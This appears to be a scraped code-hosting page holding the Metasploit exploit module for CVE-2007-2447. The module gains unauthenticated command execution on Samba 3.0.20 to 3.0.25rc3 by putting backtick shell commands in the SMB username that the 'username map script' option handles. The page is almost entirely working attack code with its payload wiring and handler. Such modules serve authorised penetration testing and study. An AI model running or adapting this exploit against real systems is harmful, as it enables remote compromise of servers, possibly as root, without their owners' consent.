Path: blob/master/modules/exploits/multi/samba/usermap_script.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SMB::Client910# For our customized version of session_setup_no_ntlmssp11CONST = Rex::Proto::SMB::Constants12CRYPT = Rex::Proto::SMB::Crypt1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Samba "username map script" Command Execution',19'Description' => %q{20This module exploits a command execution vulnerability in Samba21versions 3.0.20 through 3.0.25rc3 when using the non-default22"username map script" configuration option. By specifying a username23containing shell meta characters, attackers can execute arbitrary24commands.2526No authentication is needed to exploit this vulnerability since27this option is used to map usernames prior to authentication!28},29'Author' => [ 'jduck' ],30'License' => MSF_LICENSE,31'References' => [32[ 'CVE', '2007-2447' ],33[ 'OSVDB', '34700' ],34[ 'BID', '23972' ],35[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],36[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]37],38'Platform' => ['unix'],39'Arch' => ARCH_CMD,40'Privileged' => true, # root or nobody user41'Payload' => {42'Space' => 1024,43'DisableNops' => true,44'Compat' =>45{46'PayloadType' => 'cmd',47# *_perl and *_ruby work if they are installed48# mileage may vary from system to system..49}50},51'Targets' => [52[ "Automatic", {} ]53],54'DefaultTarget' => 0,55'DisclosureDate' => '2007-05-14',56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66Opt::RPORT(139)67]68)6970deregister_options('SMB::ProtocolVersion')71end7273def exploit74vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')75connect(versions: [1])7677# lol?78username = "/=`nohup " + payload.encoded + "`"79begin80simple.client.negotiate(false)81simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)82rescue ::Timeout::Error, XCEPT::LoginError83# nothing, it either worked or it didn't ;)84end8586handler87end88end899091